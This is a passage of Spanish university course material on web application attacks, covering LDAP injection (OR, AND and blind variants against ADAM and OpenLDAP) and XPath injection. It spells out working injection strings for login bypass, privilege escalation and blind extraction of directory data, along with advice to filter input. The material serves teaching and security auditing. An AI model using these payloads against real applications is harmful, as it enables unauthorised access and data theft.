bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
